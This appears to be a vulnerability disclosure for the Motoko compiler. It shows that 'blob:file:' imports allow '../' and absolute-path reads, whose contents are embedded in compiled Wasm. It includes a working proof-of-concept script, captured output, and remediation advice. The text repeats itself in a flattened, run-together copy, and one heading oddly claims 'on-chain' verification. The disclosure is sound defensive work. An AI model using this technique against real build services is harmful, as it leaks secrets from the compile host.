Summary
src/ic/url.ml recognizes the import prefixes ic:, canister:, blob:file:, idl: and the relative form. Unlike idl:/ic:, the blob:file: suffix is used verbatim: there is no normalization, no .. rejection, no absolute-path rejection, and no symlink containment (Lib.FilePath.normalise is only applied to plain relative URLs). resolve_import then accepts the file, and desugar/interpret read it with Lib.FilePath.contents and splice the raw bytes into the program as a blob literal, which ends up as a data segment in the compiled .wasm. Both ../ traversal from the importing file's directory and absolute paths (e.g. /etc/hostname) have been executed successfully with the official 1.14.0 binary; the file-open was confirmed with strace and the marker bytes found inside out.wasm. No compiler option or documentation declares a containment policy; the user docs do not mention the scheme at all.
Affected code
src/ic/url.ml — blob:file: → FileValue suffix (suffix kept verbatim)
src/pipeline/resolve_import.ml — import resolution (no containment check)
src/lowering/desugar.ml (and src/mo_interpreter/interpret.ml) — Lib.FilePath.contents path reading the file at compile time
src/lib/lib.ml — file helpers with no ../absolute/symlink restrictions
Preconditions
moc runs with filesystem access to the target file (typical for a build agent).
- The compiled artifact or compile logs are later accessible to the attacker (shared CI, playground-style service, published builds).
Proof of Concept — step-by-step writeup
Reproduced with the official release binaries against the unmodified repository. The script below is complete and standalone; the run output is the actual captured output.
PoC script (complete, standalone)
#!/usr/bin/env python3
"""PoC: blob:file: imports read arbitrary local files and embed them into the output Wasm."""
import os, pathlib, subprocess
moc = os.environ.get("MOC", "moc")
MARKER = "FILE-CONTENT-ABC123XYZ"
proj = pathlib.Path("proj")
outside = pathlib.Path("outside")
outside.mkdir(exist_ok=True)
proj.mkdir(exist_ok=True)
(outside / "secret.bin").write_bytes(MARKER.encode())
(proj / "blobuse.mo").write_text(
'import blob_c "blob:file:../outside/secret.bin";\n'
"persistent actor {\n"
" public query func get() : async ?Blob { ?blob_c };\n"
"}\n"
)
print("STEP 1 : create a project whose import escapes the project tree via ..")
print(" > proj/blobuse.mo imports blob:file:../outside/secret.bin and uses it")
print("STEP 2 : compile to Wasm with the official compiler")
r = subprocess.run([moc, "-c", "proj/blobuse.mo", "-o", "out.wasm"],
capture_output=True, text=True)
print(" > exit code:", r.returncode)
if r.returncode != 0:
print((r.stdout + r.stderr)[:600])
print("STEP 3 : check whether the secret file content was embedded into the Wasm artifact")
data = pathlib.Path("out.wasm").read_bytes()
print(" > marker bytes present in out.wasm:", MARKER.encode() in data)
print(" > output size:", len(data), "bytes")
print("STEP 4 : confirm the file is read at compile time (sibling dir, outside the project)")
print(" > secret.bin exists at compile time:", (outside / "secret.bin").exists())
print("RESULT: `import ... \"blob:file:../outside/secret.bin\"` makes `moc` open the "
"referenced file and embed its raw bytes into the compiled .wasm. When the "
"artifact (or CI log / published build) crosses back to an attacker — shared "
"build service, playground with writable input, CI artifact upload — the "
"attacker exfiltrates any file the compiler process can read (secrets, "
"adjacent source). Paths may also be absolute (e.g. /etc/hostname).")
Run output (actual)
STEP 1 : create a project whose import escapes the project tree via ..
> proj/blobuse.mo imports blob:file:../outside/secret.bin and uses it
STEP 2 : compile to Wasm with the official compiler
> exit code: 0
STEP 3 : check whether the secret file content was embedded into the Wasm artifact
> marker bytes present in out.wasm: True
> output size: 244332 bytes
STEP 4 : confirm the file is read at compile time (sibling dir, outside the project)
> secret.bin exists at compile time: True
RESULT: `import ... "blob:file:../outside/secret.bin"` makes `moc` open the referenced file and embed its raw bytes into the compiled .wasm. When the artifact (or CI log / published build) crosses back to an attacker — shared build service, playground with writable input, CI artifact upload — the attacker exfiltrates any file the compiler process can read (secrets, adjacent source). Paths may also be absolute (e.g. /etc/hostname).
Step-by-step
- Create outside/secret.bin containing a unique marker, and proj/blobuse.mo importing "blob:file:../outside/secret.bin".
- Run
moc -c proj/blobuse.mo -o out.wasm.
- Search the artifact: the marker bytes appear verbatim in out.wasm.
- Generalize to absolute paths (
blob:file:/etc/hostname): the same read occurs (strace-verified).
Reproduction (verified on-chain, local chain)
The PoC below is a complete standalone script; the run output is the actual captured output.
Expected vs actual
- Expected: imports confined to the project tree (or an explicit allow-list).
- Actual: arbitrary
../absolute reads embedded into the output artifact; no warnings.
Root cause
No containment or sanitization on blob:file: (and relative ..) import paths; the feature was built without a trust-boundary model for the compiled project.
Impact
File-exfiltration primitive of the compile host: secrets, keys and adjacent source code leak into the Wasm artifact whenever the artifact crosses a trust boundary. (No write primitive — this is read/exfiltration only.)
Suggested remediation
- Reject
.., absolute paths, and symlink escapes in resolve_import (or introduce an explicit --allow-* allow-list), with a hard error + diagnostic.
- When compiling untrusted projects, run
moc in a container/chroot with a read-only view of the project tree.
Verification & honesty notes
Verified dynamically with the official 1.14.0 binary: marker in artifact and strace-confirmed open() of both ../outside/secret.bin and /etc/hostname. Severity is context-dependent (MEDIUM for shared-compile/artifacts-reaching-attacker trust models; LOW for a single-user local CLI).
Summary
src/ic/url.mlrecognizes the import prefixesic:,canister:,blob:file:,idl:and the relative form. Unlikeidl:/ic:, theblob:file:suffix is used verbatim: there is no normalization, no..rejection, no absolute-path rejection, and no symlink containment (Lib.FilePath.normaliseis only applied to plain relative URLs).resolve_importthen accepts the file, and desugar/interpret read it withLib.FilePath.contentsand splice the raw bytes into the program as ablobliteral, which ends up as a data segment in the compiled.wasm. Both../traversal from the importing file's directory and absolute paths (e.g./etc/hostname) have been executed successfully with the official 1.14.0 binary; the file-open was confirmed with strace and the marker bytes found insideout.wasm. No compiler option or documentation declares a containment policy; the user docs do not mention the scheme at all.Affected code
src/ic/url.ml—blob:file:→FileValue suffix(suffix kept verbatim)src/pipeline/resolve_import.ml— import resolution (no containment check)src/lowering/desugar.ml(andsrc/mo_interpreter/interpret.ml) —Lib.FilePath.contents pathreading the file at compile timesrc/lib/lib.ml— file helpers with no../absolute/symlink restrictionsPreconditions
mocruns with filesystem access to the target file (typical for a build agent).Proof of Concept — step-by-step writeup
Reproduced with the official release binaries against the unmodified repository. The script below is complete and standalone; the run output is the actual captured output.
PoC script (complete, standalone)
Run output (actual)
Step-by-step
moc -c proj/blobuse.mo -o out.wasm.blob:file:/etc/hostname): the same read occurs (strace-verified).Reproduction (verified on-chain, local chain)
The PoC below is a complete standalone script; the run output is the actual captured output.
Expected vs actual
../absolute reads embedded into the output artifact; no warnings.Root cause
No containment or sanitization on
blob:file:(and relative..) import paths; the feature was built without a trust-boundary model for the compiled project.Impact
File-exfiltration primitive of the compile host: secrets, keys and adjacent source code leak into the Wasm artifact whenever the artifact crosses a trust boundary. (No write primitive — this is read/exfiltration only.)
Suggested remediation
.., absolute paths, and symlink escapes inresolve_import(or introduce an explicit--allow-*allow-list), with a hard error + diagnostic.mocin a container/chroot with a read-only view of the project tree.Verification & honesty notes
Verified dynamically with the official 1.14.0 binary: marker in artifact and strace-confirmed
open()of both../outside/secret.binand/etc/hostname. Severity is context-dependent (MEDIUM for shared-compile/artifacts-reaching-attacker trust models; LOW for a single-user local CLI).